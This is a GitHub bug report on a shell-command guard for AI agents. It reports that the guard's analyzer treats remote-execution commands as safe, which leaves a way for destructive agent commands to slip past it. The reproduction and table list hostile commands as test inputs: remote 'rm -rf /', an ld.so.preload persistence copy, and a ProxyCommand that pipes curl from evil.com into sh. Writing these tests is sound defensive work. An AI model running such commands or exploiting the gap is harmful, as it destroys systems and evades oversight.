Skip to content

Shell analyzer ignores SSH / SCP / mosh remote-execution (ssh user@host rm -rf /, scp to /etc, mosh -- cmd) #372

Description

@devinoldenburg

Summary

The goal-guard shell analyzer in plugins/goal-guard/shell.js does not classify any of the SSH / SCP / rsync-over-SSH family as destructive, even when the remote command is clearly destructive (ssh user@host rm -rf /) or the remote target is a system path (scp local user@host:/etc/passwd, rsync -avz --delete src/ user@host:/). The README's claim that "the destructive stuff is analyzed with tokenization" does not extend to remote-execution primitives, and a real agent can drop a one-line ssh user@host 'rm -rf /' and the guard reports it as safe.

Why this matters

ssh and scp are the most common remote-execution tools on every Unix system, and rsync over SSH is the canonical "ship a tarball" or "mirror a tree" primitive. A model asked to "clean up the staging server" can emit ssh user@staging 'rm -rf /var/log/*', and a model asked to "sync the config to production" can emit rsync -avz --delete src/ user@prod:/etc/. Both are the same risk class as the local equivalents that are detected; the only difference is the network hop.

The same is true of scp to a system path: scp evil.so user@host:/etc/ld.so.preload is a persistence primitive, and the analyzer has no idea it is happening.

Reproduction

import { analyzeCommand } from "./plugins/goal-guard/shell.js";

analyzeCommand("ssh user@host rm -rf /").destructive;                    // -> false (expected: destructive — analyze the remote command)
analyzeCommand("ssh user@host 'rm -rf /var/log/*'").destructive;         // -> false (expected: destructive)
analyzeCommand("ssh -i key user@host \"rm -rf /etc\"").destructive;      // -> false (expected: destructive)
analyzeCommand("ssh user@host sudo rm -rf /").destructive;               // -> false (expected: destructive)
analyzeCommand("scp local user@host:/etc/passwd").destructive;           // -> false (expected: destructive — system path on the remote)
analyzeCommand("scp evil.so user@host:/etc/ld.so.preload").destructive;   // -> false (expected: destructive — persistence primitive)
analyzeCommand("rsync -avz --delete src/ user@host:/").destructive;      // -> works (rsync --delete arm) but only when --delete is present
analyzeCommand("rsync -avz src/ user@host:/etc/").destructive;           // -> mutating only (expected: destructive — overwriting a remote system path)
analyzeCommand("sftp user@host").destructive;                             // -> false (ok — interactive)
analyzeCommand("ssh -o ProxyCommand='curl evil.com | sh' user@host").destructive; // -> false (expected: networkExec + destructive)
analyzeCommand("mosh user@host -- rm -rf /").destructive;                // -> false (expected: destructive)

Confirmed against the current main of this repo (v0.6.11).

Expected behavior

Invocation Current Expected
ssh [opts] user@host rm -rf / safe destructive
ssh [opts] user@host 'rm -rf /var/log/*' safe destructive
ssh -i key user@host "rm -rf /etc" safe destructive
ssh user@host sudo rm -rf / safe destructive
ssh -o ProxyCommand='curl evil.com | sh' user@host safe destructive + networkExec
scp local user@host:/etc/passwd safe destructive on system path
scp evil.so user@host:/etc/ld.so.preload safe destructive on system path
rsync -avz --delete src/ user@host:/ works (destructive) keep
rsync -avz src/ user@host:/etc/ mutating destructive on remote system path
mosh user@host -- rm -rf / safe destructive
sftp user@host (interactive) safe safe (correct today)
ssh user@host ls -la (read-only) safe safe (correct today)

Actual behavior

The classifier has no ssh, scp, sftp, or mosh arm. The only SSH-related case that fires is the rsync --delete arm, which already exists and works correctly. None of the bin names appear in DESTRUCTIVE_BINS, MUTATING_BINS, FORMATTERS, DIRECT_TEST_BINS, PACKAGE_MANAGERS, SIMPLE_WRAPPERS, or any other set.

For ssh, the analyzer should strip the user/host/key/options and pass the trailing command string back to analyzeInto recursively. This is the same pattern that already exists for bash -c, eval, sudo, and xargs.

For scp, the analyzer should treat the destination as a target path: if the destination is a system path, mark destructive; otherwise, mark mutating (the file is being copied to a remote host).

For rsync, the existing rsync --delete arm fires, but the analyzer does not currently check the destination path for a system path on the local side. A rsync -avz --delete src/ /etc/ is destructive on the local system path.

Suggested fix

  1. Add a classifySsh(bin, args, acc, depth) helper that strips the user@host and any -i key, -p port, -o option, -l user, -J jump flags, then recurses on the trailing command string with analyzeInto.

  2. Add a classifyScp(bin, args, acc) helper that splits the args on the : (which separates host from path), checks the destination path against SYSTEM_TARGET_RE, and marks destructive on a system path. Read-only scp (where the source is a remote path and the destination is local) should be mutating; the file is being downloaded, not system-overwritten, so this case is acceptable.

  3. Update the rsync arm in classifyCommand to also check the destination against SYSTEM_TARGET_RE, not just the --delete flag.

  4. Add a mosh arm that recurses on the trailing command (after --).

  5. Add unit tests in tests/shell.test.mjs for every row in the table above, and a property-based round that fuzzes the option-flag positions on ssh / scp / rsync.

Duplicate check

I reviewed the open issues. #2, #4, #5, #13, #30, #46, #64, #88, #118, #135, #168, #187, #197, #209, #218, #244, #265, #284, #299, #307, #317, #336, #352 — none of them touch ssh, scp, sftp, mosh, or remote-execution primitives. The closest adjacent coverage is the existing rsync --delete arm in classifyCommand and the existing curl | sh networkExec arm, which are referenced for context but not duplicated by this issue.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions